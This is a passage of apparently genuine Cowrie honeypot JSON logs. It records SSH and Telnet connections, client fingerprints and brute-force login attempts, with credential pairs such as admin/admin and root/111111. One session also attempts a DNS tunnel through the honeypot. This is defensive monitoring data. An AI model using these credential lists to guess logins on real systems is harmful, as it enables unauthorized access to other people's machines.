{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:24.924485Z","src_ip":"176.53.159.196","session":"64eaed8a0e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:25.201749Z","src_ip":"162.241.132.172","session":"ffb8cbb0624a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:25.223929Z","src_ip":"176.53.159.196","session":"64eaed8a0e25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:25.325599Z","session":"64eaed8a0e25","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:25.426535Z","src_ip":"176.53.159.196","session":"64eaed8a0e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:25.527492Z","src_ip":"176.53.159.196","session":"64eaed8a0e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":38788,"dst_ip":"159.203.135.109","dst_port":22,"session":"046aea3f0c7c","protocol":"ssh","message":"New connection: 159.65.58.200:38788 (159.203.135.109:22) [session: 046aea3f0c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:38.693601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:38.920647Z","src_ip":"159.65.58.200","session":"046aea3f0c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:38.924939Z","src_ip":"159.65.58.200","session":"046aea3f0c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sarhadov","password":"123456","message":"login attempt [sarhadov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:40.321728Z","src_ip":"159.65.58.200","session":"046aea3f0c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:41.613495Z","src_ip":"159.65.58.200","session":"046aea3f0c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.559539794921875,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:43:53.061392Z","src_ip":"170.64.224.25","session":"5f2717f729c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":37020,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7f2993f7dfa","protocol":"ssh","message":"New connection: 87.251.79.125:37020 (159.203.135.109:22) [session: b7f2993f7dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:04.169804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:04.173431Z","src_ip":"87.251.79.125","session":"b7f2993f7dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:04.240043Z","src_ip":"87.251.79.125","session":"b7f2993f7dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goncharova","message":"login attempt [root/goncharova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:04.446723Z","src_ip":"87.251.79.125","session":"b7f2993f7dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:05.515558Z","src_ip":"87.251.79.125","session":"b7f2993f7dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35896,"dst_ip":"10.17.0.5","dst_port":22,"session":"7996182fef46","protocol":"ssh","message":"New connection: 80.66.85.226:35896 (10.17.0.5:22) [session: 7996182fef46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:10.293738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:10.299983Z","src_ip":"80.66.85.226","session":"7996182fef46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:10.382564Z","src_ip":"80.66.85.226","session":"7996182fef46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"semina-alina","message":"login attempt [root/semina-alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:10.632229Z","src_ip":"80.66.85.226","session":"7996182fef46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54224,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bdcb12e4ad3","protocol":"telnet","message":"New connection: 170.64.224.25:54224 (159.203.135.109:23) [session: 4bdcb12e4ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:10.911976Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:11.717366Z","src_ip":"80.66.85.226","session":"7996182fef46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":54310,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6a9ac853246","protocol":"ssh","message":"New connection: 80.94.92.55:54310 (10.17.0.5:22) [session: d6a9ac853246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:21.059701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:21.236435Z","src_ip":"80.94.92.55","session":"d6a9ac853246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:21.240196Z","src_ip":"80.94.92.55","session":"d6a9ac853246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:22.536859Z","src_ip":"80.94.92.55","session":"d6a9ac853246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:24.159279Z","src_ip":"80.94.92.55","session":"d6a9ac853246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":52500,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c71803a5b8","protocol":"ssh","message":"New connection: 213.21.248.43:52500 (159.203.135.109:22) [session: f6c71803a5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:35.626493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:35.629894Z","src_ip":"213.21.248.43","session":"f6c71803a5b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:35.698725Z","src_ip":"213.21.248.43","session":"f6c71803a5b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme","message":"login attempt [root/loveme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:36.010734Z","src_ip":"213.21.248.43","session":"f6c71803a5b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":47988,"dst_ip":"159.203.135.109","dst_port":22,"session":"38543bf80736","protocol":"ssh","message":"New connection: 154.221.25.72:47988 (159.203.135.109:22) [session: 38543bf80736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:36.382986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:36.386847Z","src_ip":"154.221.25.72","session":"38543bf80736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:36.597092Z","src_ip":"154.221.25.72","session":"38543bf80736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:37.082198Z","src_ip":"213.21.248.43","session":"f6c71803a5b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sap@123","message":"login attempt [root/sap@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:37.465349Z","src_ip":"154.221.25.72","session":"38543bf80736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:38.675335Z","src_ip":"154.221.25.72","session":"38543bf80736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55804,"dst_ip":"10.17.0.5","dst_port":22,"session":"c85f0369e143","protocol":"ssh","message":"New connection: 62.133.62.83:55804 (10.17.0.5:22) [session: c85f0369e143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:53.266846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:53.274652Z","src_ip":"62.133.62.83","session":"c85f0369e143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:53.352190Z","src_ip":"62.133.62.83","session":"c85f0369e143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18101993","message":"login attempt [root/18101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:53.590731Z","src_ip":"62.133.62.83","session":"c85f0369e143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:44:54.671008Z","src_ip":"62.133.62.83","session":"c85f0369e143","protocol":"ssh"}
